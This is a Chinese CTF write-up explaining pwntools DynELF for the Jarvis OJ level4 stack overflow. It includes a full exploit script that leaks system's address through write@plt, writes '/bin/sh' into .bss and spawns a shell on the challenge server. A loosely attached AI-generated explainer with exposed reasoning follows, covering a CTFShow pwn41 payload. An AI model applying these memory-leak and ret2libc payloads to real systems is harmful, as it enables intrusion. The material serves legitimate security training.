Pwn-栈溢出之DynELF

本文详细解析了DynELF技术在解决没有libc情况下的PWN问题中的应用,通过具体实例level4,展示了如何利用DynELF泄露system函数地址,并最终获取shell的过程。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

0x00:前言

DynELF方法适用于没有libc的情况,我们可以通过DynELF方法来实现泄露system函数的地址,那么DynELF是什么呢?在pwntools官方文档有介绍,简单而言就是通过leak方法反复进入main函数中查询libc中的内容,其代码框架如下

p = process('./xxx')
def leak(address):
  payload = "xxxxxxxx" + address + "xxxxxxxx"
  p.send(payload)
  data = p.recv(4)
  log.debug("%#x => %s" % (address, (data or '').encode('hex'))) #打印搜索的信息
  return data
d = DynELF(leak, elf=ELF("./xxx")) #初始化DynELF模块
systemAddress = d.lookup('system', 'libc') #在libc文件中搜索system函数的地址

我们通过一道题来深入了解这个方法

0x01:Jarvis Oj-level4

题目链接

https://dn.jarvisoj.com/challengefiles/level4.0f9cfa0b7bb6c0f9e030a5541b46e9f0

解题思路

我们先检测一些保护机制

root@Thunder_J-virtual-machine:~/桌面# checksec level4
[*] '/home/Thunder_J/\xe6\xa1\x8c\xe9\x9d\xa2/level4'
  Arch:     i386-32-little
  RELRO:    Partial RELRO
  Stack:    No canary found
  NX:       NX enabled #堆栈不可执行
  PIE:      No PIE (0x8048000)

用IDA查看一下主函数内容

main()

如果是做了前面level0-3的朋友应该对这里非常熟悉,逻辑非常简单,我们进vulnerable_function()函数内看一下

int __cdecl main(int argc, const char **argv, const char **envp)
{
  vulnerable_function();
  write(1, "Hello, World!\n", 0xEu);
  return 0;
}

vulnerable_function()

很明显这里出现栈溢出,read函数读取0x100的内容,双击buf可以看到buf只有0x88+0x4的大小,所以我们可以构造栈溢出

ssize_t vulnerable_function()
{
  char buf; // [esp+0h] [ebp-88h]

  return read(0, &buf, 0x100u);
}

第一次构造

既然我们清楚是栈溢出,我们就需要多多观察程序内的信息,有没有system,’/bin/sh’等关键的内容,然而我们用IDA并没有搜索到有system或者’/bin/sh’的信息,那这里就需要用到上面提及的DynELF的方法了,我们通过objdump查看函数信息:

root@Thunder_J-virtual-machine:~/桌面# objdump -R level4

level4:     文件格式 elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE 
08049ffc R_386_GLOB_DAT    __gmon_start__
0804a00c R_386_JUMP_SLOT   read@GLIBC_2.0
0804a010 R_386_JUMP_SLOT   __gmon_start__
0804a014 R_386_JUMP_SLOT   __libc_start_main@GLIBC_2.0
0804a018 R_386_JUMP_SLOT   write@GLIBC_2.0

我们看到有read和write函数,其实有这两个函数就代表我们可以通过他们来泄露system函数在libc中的地址了,因为我们可以通过栈溢出覆盖返回地址执行,因此我们第一次构造调用write函数泄露libc中system的地址

def leak(addr):
    write_plt = p32(0x08048340)
    fun_addr = p32(0x0804844b)
    payload = 'a' * (0x88 + 0x4) + write_plt + fun_addr + p32(1) + p32(addr) + p32(4) #write(1, addr, 4);
    r.send(payload)
    leaked = r.recv(4)
    return leaked
 
d = DynELF(leak, elf=ELF("./level4"))
system_addr = d.lookup('system', 'libc')

第二次构造

我们在得到了system函数的地址之后就需要写入’/bin/sh’字符串了,那么去哪里写入呢?当然是.bss段,我们通过readelf的方法查看程序的.bss段:

root@Thunder_J-virtual-machine:~/桌面# readelf -S level4
There are 30 section headers, starting at offset 0x1844:

节头:
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
  [ 0]                   NULL            00000000 000000 000000 00      0   0  0
  [ 1] .interp           PROGBITS        08048154 000154 000013 00   A  0   0  1
  [ 2] .note.ABI-tag     NOTE            08048168 000168 000020 00   A  0   0  4
  [ 3] .note.gnu.build-i NOTE            08048188 000188 000024 00   A  0   0  4
  [ 4] .gnu.hash         GNU_HASH        080481ac 0001ac 000020 04   A  5   0  4
  [ 5] .dynsym           DYNSYM          080481cc 0001cc 000060 10   A  6   1  4
  [ 6] .dynstr           STRTAB          0804822c 00022c 000050 00   A  0   0  1
  [ 7] .gnu.version      VERSYM          0804827c 00027c 00000c 02   A  5   0  2
  [ 8] .gnu.version_r    VERNEED         08048288 000288 000020 00   A  6   1  4
  [ 9] .rel.dyn          REL             080482a8 0002a8 000008 08   A  5   0  4
  [10] .rel.plt          REL             080482b0 0002b0 000020 08  AI  5  12  4
  [11] .init             PROGBITS        080482d0 0002d0 000023 00  AX  0   0  4
  [12] .plt              PROGBITS        08048300 000300 000050 04  AX  0   0 16
  [13] .text             PROGBITS        08048350 000350 0001c2 00  AX  0   0 16
  [14] .fini             PROGBITS        08048514 000514 000014 00  AX  0   0  4
  [15] .rodata           PROGBITS        08048528 000528 000017 00   A  0   0  4
  [16] .eh_frame_hdr     PROGBITS        08048540 000540 000034 00   A  0   0  4
  [17] .eh_frame         PROGBITS        08048574 000574 0000ec 00   A  0   0  4
  [18] .init_array       INIT_ARRAY      08049f08 000f08 000004 00  WA  0   0  4
  [19] .fini_array       FINI_ARRAY      08049f0c 000f0c 000004 00  WA  0   0  4
  [20] .jcr              PROGBITS        08049f10 000f10 000004 00  WA  0   0  4
  [21] .dynamic          DYNAMIC         08049f14 000f14 0000e8 08  WA  6   0  4
  [22] .got              PROGBITS        08049ffc 000ffc 000004 04  WA  0   0  4
  [23] .got.plt          PROGBITS        0804a000 001000 00001c 04  WA  0   0  4
  [24] .data             PROGBITS        0804a01c 00101c 000008 00  WA  0   0  4
  [25] .bss              NOBITS          0804a024 001024 000004 00  WA  0   0  1
  [26] .comment          PROGBITS        00000000 001024 000052 01  MS  0   0  1
  [27] .shstrtab         STRTAB          00000000 001076 000106 00      0   0  1
  [28] .symtab           SYMTAB          00000000 00117c 000450 10     29  45  4
  [29] .strtab           STRTAB          00000000 0015cc 000276 00      0   0  1
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
  L (link order), O (extra OS processing required), G (group), T (TLS),
  C (compressed), x (unknown), o (OS specific), E (exclude),
  p (processor specific)

根据上面的数据我们选中.bss段的地址开始第二次构造,在.bss段中写入’/bin/sh’字符串

data_addr = 0x0804A024 # readelf -S level4

read_plt = p32(0x08048310)
fun_addr = p32(0x0804844b)
payload = 'a' * (0x88 + 0x4) + read_plt + fun_addr + p32(0) + p32(data_addr) + p32(8)
r.send(payload)

r.send("/bin/sh\x00")

第三次构造

准备工作做完了当然最后一步就是getshell了

payload = 'a' * (0x88 + 0x4) + p32(system_addr) + 'aaaa' + p32(data_addr)
r.send(payload)

exp

总结一下上面的步骤

from pwn import *
 
r = remote("pwn2.jarvisoj.com", 9880)
 
def leak(addr):
    write_plt = p32(0x08048340)
    fun_addr = p32(0x0804844b)
    buf = p32(addr)
    payload = 'a' * (0x88 + 0x4) + write_plt + fun_addr + p32(1) + buf + p32(4)
    r.send(payload)
    leaked = r.recv(4)
    return leaked
 
d = DynELF(leak, elf=ELF("./level4"))
system_addr = d.lookup('system', 'libc')
 
data_addr = 0x0804A024 # readelf -S level4

read_plt = p32(0x08048310)
fun_addr = p32(0x0804844b)
payload = 'a' * (0x88 + 0x4) + read_plt + fun_addr + p32(0) + p32(data_addr) + p32(8)
r.send(payload)

r.send("/bin/sh\x00")

payload = 'a' * (0x88 + 0x4) + p32(system_addr) + 'aaaa' + p32(data_addr)
r.send(payload)

r.interactive()

0x02:总结

没有做过level0-3的建议做一下在做level4,每个题目收获都会有所不同
参考链接:
https://www.anquanke.com/post/id/85129
https://blog.youkuaiyun.com/smalosnail/article/details/53386353

<think>嗯,用户想学习CTFShow平台上的PWN入门级栈溢出攻击技巧,包括教程、原理和实例。好的,我需要先回顾栈溢出的基本原理,然后结合CTFShow的题目例子来解释。首先,栈溢出是覆盖返回地址来控制程序流程,对吧?比如覆盖返回地址为system函数,然后传入/bin/sh的参数。 那我要分步骤来讲解。可能先讲栈的结构,比如函数调用时的返回地址、局部变量这些。然后,如何通过溢出覆盖返回地址。可能需要提到缓冲区溢出,比如使用gets、scanf等不安全的函数导致输入超出缓冲区大小。 接下来,结合CTFShow的题目,比如pwn41到pwn48,这些题目可能涉及不同的利用技巧。例如,引用4提到bss段的buf2可以用来存储输入数据,传入/bin/sh给system。这可能是一个例子,需要具体说明如何构造payload,将参数放入合适的位置,并跳转到system函数。 用户可能还需要了解如何找到system函数的地址,以及如何获取/bin/sh字符串的地址。可能需要用到ROP技术,或者题目中已经提供了这些地址。另外,要注意内存保护机制,比如NX、ASLR,但入门题目可能这些保护都没开,所以可以直接执行栈上的代码或者覆盖返回地址。 然后,可能需要给出一个具体的例子,比如如何利用栈溢出执行system("/bin/sh")。步骤大概是:确定溢出点,计算偏移量,找到system地址,找到/bin/sh字符串地址,构造payload填充缓冲区并覆盖返回地址为system,同时传递参数。 此外,用户可能需要知道如何调试,使用gdb或者其他工具来确定偏移量和地址是否正确。还有,如何构造payload,比如使用Python的struct模块来打包地址为大端或小端格式,取决于目标架构。 可能的问题点包括:确定偏移量的正确位置,处理地址中的空字符,确保参数正确传递(比如32位和64位传参方式不同)。例如,32位下参数在栈中,而64位可能使用寄存器。但CTFShow的题目可能都是32位的,或者需要根据具体情况调整。 最后,要提醒用户注意实践时的细节,比如输入的处理,避免截断,以及利用现有的函数和字符串。可能还需要提到如何查找gadgets,但入门题可能不需要复杂的ROP链,直接覆盖返回地址即可。 总结一下,回答的结构应该是先讲原理,再结合实例分步骤说明,最后给出相关问题和引用。需要确保LaTeX格式正确,比如寄存器用$eax$,地址用$0xdeadbeef$这样的格式。代码块用Python示例如何生成payload,可能还要提到如何利用题目中的特定函数或缓冲区。</think>### CTFShow PWN入门 栈溢出攻击技巧解析 #### 一、栈溢出基本原理 栈溢出是通过覆盖函数返回地址实现控制流劫持的技术。当程序使用不安全函数(如`gets`/`scanf`)时,若未对输入长度做限制,攻击者可构造超长输入覆盖栈帧中的返回地址,使其指向恶意代码或系统函数。例如,覆盖返回地址为`system("/bin/sh")`可实现获取shell[^4]。 栈帧结构示例: $$ \text{低地址} \rightarrow \text{缓冲区} \rightarrow \text{EBP} \rightarrow \text{返回地址} \rightarrow \text{高地址} $$ #### 二、攻击步骤拆解 1. **确定溢出点**:通过调试工具(如`gdb`)计算缓冲区到返回地址的偏移量。 - 使用`pattern create`生成测试字符串,观察崩溃时寄存器的值。 2. **获取关键地址**: - `system`函数地址:通过`objdump -d`或`gdb`的`p system`获取。 - `/bin/sh`字符串地址:若程序中存在可直接引用,否则需自行写入。 3. **构造Payload**: - 填充缓冲区至返回地址位置。 - 覆盖返回地址为`system`地址。 - 传递参数(如`/bin/sh`地址)。 #### 三、实例分析(以CTFShow pwn41为例) **题目场景**: 程序中存在`buf2`缓冲区(位于.bss段),可利用其存储`/bin/sh`字符串,并通过栈溢出调用`system`。 **攻击流程**: 1. **计算偏移量**: 通过调试确定`buf`到返回地址的偏移为`140`字节。 2. **构造Payload**: ```python from pwn import * system_addr = 0x08048460 # system函数地址 buf2_addr = 0x0804A080 # buf2地址 payload = b'A' * 140 + p32(system_addr) + p32(0xdeadbeef) + p32(buf2_addr) # p32(0xdeadbeef)为system返回地址,此处无意义 # p32(buf2_addr)为system的参数地址 ``` 3. **写入`/bin/sh`到buf2**: 若程序提供输入点,可提前将`/bin/sh`写入`buf2`。 #### 四、关键知识点 1. **函数调用约定**: - 32位程序:参数通过栈传递,调用格式为`system(返回地址, 参数)`。 - 64位程序:参数优先通过寄存器(`rdi`, `rsi`等)传递,需用ROP链控制。 2. **内存保护绕过**: - 若开启NX(栈不可执行),需通过ROP实现攻击。 - 若开启ASLR,需泄露地址或使用固定地址函数。 #### 五、防御与优化 - 使用安全函数(如`fgets`替代`gets`)。 - 开启编译保护选项(`-fstack-protector`)。 - 地址随机化(ASLR)和栈不可执行(NX)。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值